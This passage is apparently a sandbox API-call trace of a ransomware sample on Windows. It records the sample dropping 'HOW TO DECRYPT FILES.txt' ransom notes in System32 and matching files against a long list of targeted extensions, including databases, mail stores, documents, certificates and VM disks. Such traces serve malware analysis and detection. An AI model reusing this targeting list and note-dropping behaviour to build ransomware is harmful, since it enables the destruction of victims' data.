(normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0143.800] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0143.800] CloseHandle (hObject=0x8c) returned 1 [0143.800] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\", lpString2="catdb" | out: lpString1="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb") returned="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" [0143.800] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.ems") returned 0 [0143.800] lstrlenA (lpString="*.ems") returned 5 [0143.800] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.db") returned 0 [0143.801] lstrlenA (lpString="*.db") returned 4 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.dbf") returned 0 [0143.801] lstrlenA (lpString="*.dbf") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.myox") returned 0 [0143.801] lstrlenA (lpString="*.myox") returned 6 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.myo") returned 0 [0143.801] lstrlenA (lpString="*.myo") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qbw") returned 0 [0143.801] lstrlenA (lpString="*.qbw") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qbb") returned 0 [0143.801] lstrlenA (lpString="*.qbb") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qbm") returned 0 [0143.801] lstrlenA (lpString="*.qbm") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qbo") returned 0 [0143.801] lstrlenA (lpString="*.qbo") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qbx") returned 0 [0143.801] lstrlenA (lpString="*.qbx") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qba") returned 0 [0143.801] lstrlenA (lpString="*.qba") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qby") returned 0 [0143.801] lstrlenA (lpString="*.qby") returned 5 [0143.801] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qbj") returned 0 [0143.802] lstrlenA (lpString="*.qbj") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.ofx") returned 0 [0143.802] lstrlenA (lpString="*.ofx") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.qif") returned 0 [0143.802] lstrlenA (lpString="*.qif") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mye") returned 0 [0143.802] lstrlenA (lpString="*.mye") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mbox") returned 0 [0143.802] lstrlenA (lpString="*.mbox") returned 6 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.eml") returned 0 [0143.802] lstrlenA (lpString="*.eml") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.pst") returned 0 [0143.802] lstrlenA (lpString="*.pst") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.ost") returned 0 [0143.802] lstrlenA (lpString="*.ost") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.idx") returned 0 [0143.802] lstrlenA (lpString="*.idx") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.dbx") returned 0 [0143.802] lstrlenA (lpString="*.dbx") returned 5 [0143.802] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.sql") returned 0 [0143.802] lstrlenA (lpString="*.sql") returned 5 [0143.803] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mdb") returned 0 [0143.803] lstrlenA (lpString="*.mdb") returned 5 [0143.803] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.fdb") returned 0 [0143.803] lstrlenA (lpString="*.fdb") returned 5 [0143.803] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.wab") returned 0 [0143.843] lstrlenA (lpString="*.wab") returned 5 [0143.843] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.dat") returned 0 [0143.843] lstrlenA (lpString="*.dat") returned 5 [0143.843] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.txt") returned 0 [0143.843] lstrlenA (lpString="*.txt") returned 5 [0143.843] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.jpeg") returned 0 [0143.843] lstrlenA (lpString="*.jpeg") returned 6 [0143.843] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.jpg") returned 0 [0143.843] lstrlenA (lpString="*.jpg") returned 5 [0143.843] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.png") returned 0 [0143.843] lstrlenA (lpString="*.png") returned 5 [0143.843] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.php") returned 0 [0143.845] lstrlenA (lpString="*.php") returned 5 [0143.845] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.cs") returned 0 [0143.845] lstrlenA (lpString="*.cs") returned 4 [0143.846] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.cpp") returned 0 [0143.846] lstrlenA (lpString="*.cpp") returned 5 [0143.846] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.rar") returned 0 [0143.846] lstrlenA (lpString="*.rar") returned 5 [0143.846] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.zip") returned 0 [0143.846] lstrlenA (lpString="*.zip") returned 5 [0143.846] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.html") returned 0 [0143.846] lstrlenA (lpString="*.html") returned 6 [0143.846] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.htm") returned 0 [0143.846] lstrlenA (lpString="*.htm") returned 5 [0143.846] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.xlsx") returned 0 [0143.846] lstrlenA (lpString="*.xlsx") returned 6 [0143.846] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.xls") returned 0 [0143.848] lstrlenA (lpString="*.xls") returned 5 [0143.848] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mp4") returned 0 [0143.848] lstrlenA (lpString="*.mp4") returned 5 [0143.848] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.ppt") returned 0 [0143.848] lstrlenA (lpString="*.ppt") returned 5 [0143.848] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.pptx") returned 0 [0143.848] lstrlenA (lpString="*.pptx") returned 6 [0143.848] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.doc") returned 0 [0143.848] lstrlenA (lpString="*.doc") returned 5 [0143.848] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.dot") returned 0 [0143.848] lstrlenA (lpString="*.dot") returned 5 [0143.848] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.docx") returned 0 [0143.848] lstrlenA (lpString="*.docx") returned 6 [0143.848] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.7z") returned 0 [0143.849] lstrlenA (lpString="*.7z") returned 4 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.tar") returned 0 [0143.849] lstrlenA (lpString="*.tar") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.bz2") returned 0 [0143.849] lstrlenA (lpString="*.bz2") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.gz") returned 0 [0143.849] lstrlenA (lpString="*.gz") returned 4 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mkv") returned 0 [0143.849] lstrlenA (lpString="*.mkv") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.eml") returned 0 [0143.849] lstrlenA (lpString="*.eml") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.msg") returned 0 [0143.849] lstrlenA (lpString="*.msg") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.edb") returned 0 [0143.849] lstrlenA (lpString="*.edb") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.accdb") returned 0 [0143.849] lstrlenA (lpString="*.accdb") returned 7 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.odb") returned 0 [0143.849] lstrlenA (lpString="*.odb") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.java") returned 0 [0143.849] lstrlenA (lpString="*.java") returned 6 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.asm") returned 0 [0143.849] lstrlenA (lpString="*.asm") returned 5 [0143.849] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.pfx") returned 0 [0143.849] lstrlenA (lpString="*.pfx") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.pem") returned 0 [0143.850] lstrlenA (lpString="*.pem") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.p12") returned 0 [0143.850] lstrlenA (lpString="*.p12") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.gpg") returned 0 [0143.850] lstrlenA (lpString="*.gpg") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.vsd") returned 0 [0143.850] lstrlenA (lpString="*.vsd") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.odg") returned 0 [0143.850] lstrlenA (lpString="*.odg") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.raw") returned 0 [0143.850] lstrlenA (lpString="*.raw") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.nef") returned 0 [0143.850] lstrlenA (lpString="*.nef") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.svg") returned 0 [0143.850] lstrlenA (lpString="*.svg") returned 5 [0143.850] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.psd") returned 0 [0143.851] lstrlenA (lpString="*.psd") returned 5 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.vmx") returned 0 [0143.851] lstrlenA (lpString="*.vmx") returned 5 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.vmdk") returned 0 [0143.851] lstrlenA (lpString="*.vmdk") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.vdi") returned 0 [0143.851] lstrlenA (lpString="*.vdi") returned 5 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.lay6") returned 0 [0143.851] lstrlenA (lpString="*.lay6") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mpeg") returned 0 [0143.851] lstrlenA (lpString="*.mpeg") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.djvu") returned 0 [0143.851] lstrlenA (lpString="*.djvu") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.tiff") returned 0 [0143.851] lstrlenA (lpString="*.tiff") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.backup") returned 0 [0143.851] lstrlenA (lpString="*.backup") returned 8 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.pdf") returned 0 [0143.851] lstrlenA (lpString="*.pdf") returned 5 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.cert") returned 0 [0143.851] lstrlenA (lpString="*.cert") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.docm") returned 0 [0143.851] lstrlenA (lpString="*.docm") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.xlsm") returned 0 [0143.851] lstrlenA (lpString="*.xlsm") returned 6 [0143.851] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.dwg") returned 0 [0143.852] lstrlenA (lpString="*.dwg") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.nd") returned 0 [0143.852] lstrlenA (lpString="*.nd") returned 4 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.tlg") returned 0 [0143.852] lstrlenA (lpString="*.tlg") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.lgb") returned 0 [0143.852] lstrlenA (lpString="*.lgb") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mov") returned 0 [0143.852] lstrlenA (lpString="*.mov") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.xdw") returned 0 [0143.852] lstrlenA (lpString="*.xdw") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.ods") returned 0 [0143.852] lstrlenA (lpString="*.ods") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.wav") returned 0 [0143.852] lstrlenA (lpString="*.wav") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.mp3") returned 0 [0143.852] lstrlenA (lpString="*.mp3") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.aiff") returned 0 [0143.852] lstrlenA (lpString="*.aiff") returned 6 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.flac") returned 0 [0143.852] lstrlenA (lpString="*.flac") returned 6 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.m4a") returned 0 [0143.852] lstrlenA (lpString="*.m4a") returned 5 [0143.852] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb", pszSpec="*.csv") returned 0 [0143.852] lstrlenA (lpString="*.csv") returned 5 [0143.853] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8851be8, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8851be8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xf21d23c0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x1602000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="catdb", cAlternateFileName="")) returned 0 [0143.853] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0143.853] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84bfae1, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8851be8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8851be8, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18, dwReserved1=0x505500, cFileName="{F750E6C3-38EE-11D1-85E5-00C04FC295EE}", cAlternateFileName="{F750E~1")) returned 0 [0143.853] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0143.853] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0143.853] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.853] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="catsrv.dll") returned 1 [0143.853] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="catsrv.dll") returned 1 [0143.853] lstrcmpiA (lpString1="", lpString2="catsrv.dll") returned -1 [0143.853] PathFindFileNameA (pszPath="C:\\Windows\\System32\\*.*") returned="*.*" [0143.853] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.853] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.853] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.853] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.853] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="catsrv.dll" | out: lpString1="C:\\Windows\\System32\\catsrv.dll") returned="C:\\Windows\\System32\\catsrv.dll" [0143.853] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.ems") returned 0 [0143.854] lstrlenA (lpString="*.ems") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.db") returned 0 [0143.854] lstrlenA (lpString="*.db") returned 4 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.dbf") returned 0 [0143.854] lstrlenA (lpString="*.dbf") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.myox") returned 0 [0143.854] lstrlenA (lpString="*.myox") returned 6 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.myo") returned 0 [0143.854] lstrlenA (lpString="*.myo") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qbw") returned 0 [0143.854] lstrlenA (lpString="*.qbw") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qbb") returned 0 [0143.854] lstrlenA (lpString="*.qbb") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qbm") returned 0 [0143.854] lstrlenA (lpString="*.qbm") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qbo") returned 0 [0143.854] lstrlenA (lpString="*.qbo") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qbx") returned 0 [0143.854] lstrlenA (lpString="*.qbx") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qba") returned 0 [0143.854] lstrlenA (lpString="*.qba") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qby") returned 0 [0143.854] lstrlenA (lpString="*.qby") returned 5 [0143.854] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qbj") returned 0 [0143.854] lstrlenA (lpString="*.qbj") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.ofx") returned 0 [0143.855] lstrlenA (lpString="*.ofx") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.qif") returned 0 [0143.855] lstrlenA (lpString="*.qif") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mye") returned 0 [0143.855] lstrlenA (lpString="*.mye") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mbox") returned 0 [0143.855] lstrlenA (lpString="*.mbox") returned 6 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.eml") returned 0 [0143.855] lstrlenA (lpString="*.eml") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.pst") returned 0 [0143.855] lstrlenA (lpString="*.pst") returned 5 